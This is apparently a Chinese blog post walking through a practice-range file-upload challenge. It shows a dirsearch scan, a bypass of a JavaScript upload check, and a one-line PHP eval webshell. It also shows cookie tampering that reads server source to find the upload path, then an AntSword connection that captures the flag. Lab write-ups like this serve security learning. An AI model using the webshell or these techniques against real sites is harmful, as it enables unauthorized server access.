banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban

一道跳躍後にパスが表示されないファイルのアップロード問題

事情起因#

整理遺漏的靶場

經過#

靶機地址

打開顯示是這樣的:

image

提示已經很明顯了,讓我們找到後台上傳shell拿到網站根目錄的key

發現上傳點#

那就先掃描後台把,上dirsearch

python dirsearch.py -u xxx.xxx.xxx.xxx:yyy -e asp,php -x 400,403,404,500,503,514,564 -F -t 300 --random-agents --http-method head

image

emmmm,全是admin目錄下的,單獨訪問admin空頁面,那加上個upload.php:

image

先跳轉到了upload1.php,彈窗顯示無權上傳,之後跳轉到了upload2.php:

image

作為一個曾經的ctf菜雞選手,直覺告訴我upload1.php有問題,上burp攔截:

image

嗯,返回的頁面中我們可以清楚地看到有一個表單,彈窗攔截的首先考慮是前端js

瀏覽器禁用javascript,重新訪問upload.php,跳轉到upload1.php後顯示出了上傳框

image

直接莽,上傳一個test.php,內容如下:

<?php @eval($_POST['aa']);?>

image

上傳成功,跳轉到了upload_file.php,Yeah!,哎,等一下,路徑呢?@(黑線)

獲取上傳路徑#

有點衝動了,上burp重新攔截upload1.php上傳介面:

image

嗯,一切很正常,但是上傳完它不給路徑啊,仔細看下驗證的cookie:

Cookie:uploadmd5=verify%2F266c9bd3c1cd6c9e.txt;

這個驗證的這串字元266c9bd3c1cd6c9e一般是有用的,既然跳轉到了upload_file.php

那麼說明生成上傳的shell的路徑的程式肯定在upload_file.php這個檔案裡

試下把uploadmd5值改為upload_file.php看能不能讀取原始碼 (有點任意檔案讀取漏洞的意思):

image

OHHHHHHH,讀取到了上傳的原始碼:

<?php
$path="uploadfile/";//上傳路徑
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])
{
$file1=$_FILES["filename"]["name"];
$file2 = $path.$time.'_'.$verify.'_'.$file1;
$flag=1;
}
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
if($result) echo "上傳成功!";

?>

上傳檔案的路徑構造語句也找到了:$path.$time.'_'.$verify.'_'.$file1

也就是上傳目錄.date("Ymd")_verify的值_檔案名

那我上傳的檔案路徑就應該為:admin/uploadfile/20200331_266c9bd3c1cd6c9e_test.php

結果#

螞蟻劍連接:

image

成功拿到flag:

image

參考文章:

本文完。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。